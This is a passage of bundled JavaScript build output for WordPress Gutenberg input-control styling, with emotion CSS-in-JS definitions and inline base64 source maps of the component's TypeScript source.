iB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */",
24460 toString: _EMOTION_STRINGIFIED_CSS_ERROR__6
24461 });
24462 var backdropBorderColor = ({
24463 disabled,
24464 isBorderless
24465 }) => {
24466 if (isBorderless) {
24467 return "transparent";
24468 }
24469 if (disabled) {
24470 return COLORS.ui.borderDisabled;
24471 }
24472 return COLORS.ui.border;
24473 };
24474 var BackdropUI = /* @__PURE__ */ createStyled("div", false ? {
24475 target: "em5sgkm6"
24476 } : {
24477 target: "em5sgkm6",
24478 label: "BackdropUI"
24479 })("&&&{box-sizing:border-box;border-color:", backdropBorderColor, ";border-radius:inherit;border-style:solid;border-width:1px;bottom:0;left:0;margin:0;padding:0;pointer-events:none;position:absolute;right:0;top:0;", rtl({
24480 paddingLeft: 2
24481 }), ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RHFEIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dp